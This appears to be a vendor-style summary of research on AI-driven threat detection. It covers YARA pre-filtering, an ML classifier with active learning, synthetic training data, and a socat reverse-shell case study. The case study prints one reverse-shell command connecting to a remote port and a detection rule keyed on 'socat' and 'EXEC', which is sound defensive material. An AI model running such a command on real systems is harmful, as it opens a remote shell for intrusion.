Advanced Threat Detection
Democratizing Enterprise Security with AI-Driven Threat Detection
This research unveils a groundbreaking hybrid framework that revolutionizes how enterprises detect and mitigate cyber threats. By combining efficient rule-based filtering with adaptive ML models and synthetic data generation, it addresses key challenges like data scarcity and skill gaps, making advanced security accessible and self-sustaining.
Tangible Results for Your Security Operations
Our framework delivers measurable improvements in efficiency, accuracy, and threat coverage, freeing your security team to focus on critical incidents.
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Daily Events Handled
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Peak F1 Score
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False Positive Reduction
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Systems Protected
Deep Analysis & Enterprise Applications
Select a topic to dive deeper, then explore the specific findings from the research, rebuilt as interactive, enterprise-focused modules.
System Overview
Synthetic Data Generation
ML & Active Learning
Evaluation & Live Performance
The Hybrid Detection Architecture
Our two-stage hybrid framework begins with a high-recall YARA rule set for initial filtering, followed by an ML classifier to minimize false positives. This combination ensures broad coverage and precise threat identification.
Overcoming Data Scarcity with Simula
Training robust ML models typically demands vast, labeled datasets—a rarity in security. Simula, our novel seedless synthetic data generation framework, enables security analysts to create high-quality training data without deep data science expertise, democratizing AI development for novel threats.
Adaptive Learning for Continuous Improvement
The ML model continuously learns from real-time investigation results through a feedback loop. This active learning approach adapts to evolving threat landscapes, preventing model degradation and maintaining high detection efficacy over time.
Validated Performance in Production
Rigorously tested in a production environment spanning tens of thousands of systems, our framework processes billions of events daily, reducing them to a handful of daily tickets. Live experiments demonstrate consistent precision improvement due to active learning.
Enterprise Process Flow: Self-Sustained Attack Detection
Event Stream Ingestion
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Loose YARA Rule Filtering
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ML Online Inference
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Human Investigation Queue
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Feedback Loop Update
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Adaptive Model Refinement
This streamlined process illustrates how raw event data is transformed into actionable threat intelligence, with continuous improvement driven by human expert feedback and AI.
| Metric | Fixed Model | Active Learning Model |
|---|---|---|
| Unique True Positives Identified | 0 | 10 |
| Unique False Positives Generated | 86 | 9 |
| Shared True Positives | 43 | 43 |
| Overall Precision Trend | Static | General Improvement Over Time (Fig. 5) |
Active learning significantly enhances threat detection by discovering new threats while drastically reducing false alarms, a critical advantage in dynamic enterprise environments.
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Average Daily Tickets for Reverse Shell Detection after ML Filtering
Our system reduces 250 billion daily events to less than one actionable ticket per day for complex threats like reverse shells, making investigation manageable for security analysts.
Case Study: Detecting Malicious Socat Utility Use
Problem: Identifying a malicious reverse shell initiated via socat, a versatile networking tool, amidst legitimate usage. Traditional rules often fail to differentiate, leading to high false positives.
Our Solution: Our framework employs a two-stage approach. First, a loose YARA rule flags any command containing "socat" and "EXEC". This is intentionally broad.
ML Refinement: The ML classifier then analyzes the full context. For instance, the command socat TCP:10.0.0.5:4444 EXEC:'/bin/sh' is precisely identified as malicious because the EXEC:'/bin/sh' argument is a definitive indicator of an interactive shell, distinguishing it from benign socat TCP-LISTEN:8080,fork STDOUT used for network diagnostics. The synthetic data generation with Simula was crucial in providing diverse examples of both malicious and benign socat usage, enabling the ML model to learn these subtle distinctions.
Calculate Your Potential AI ROI
Estimate the significant time and cost savings your organization could achieve by automating threat detection with our advanced AI framework.
Estimated Annual Savings
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Annual Hours Reclaimed
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Your Journey to AI-Powered Security
Our structured roadmap ensures a smooth, efficient transition to an advanced, self-sustaining threat detection system tailored to your enterprise.
Phase 1: Initial System Architecture & Data Generation
We begin by defining high-level objectives, leveraging Simula's seedless synthetic data framework to rapidly generate diverse, high-quality training datasets for initial ML model training and loose YARA rule creation. This phase minimizes manual effort and accelerates deployment.
Phase 2: Hybrid Detection Deployment & Calibration
The system is deployed with the initial loose YARA rule and ML model. The ML component's detection threshold is calibrated based on your daily ticket investigation budget, ensuring optimal balance between false positives and false negatives from day one.
Phase 3: Continuous Learning & Feedback Loop Integration
Real-time investigation results from your security analysts are fed back into the system. This active learning process adaptively tunes the ML model, allowing it to continuously refine its accuracy and adapt to new threats and evolving enterprise network conditions.
Phase 4: Scalable & Self-Sustained Threat Intelligence
With continuous refinement and automated data generation, your enterprise achieves a self-sustaining threat detection capability. This empowers security professionals to act as expert 'teachers', guiding the AI's learning and maintaining peak efficacy with minimal overhead.
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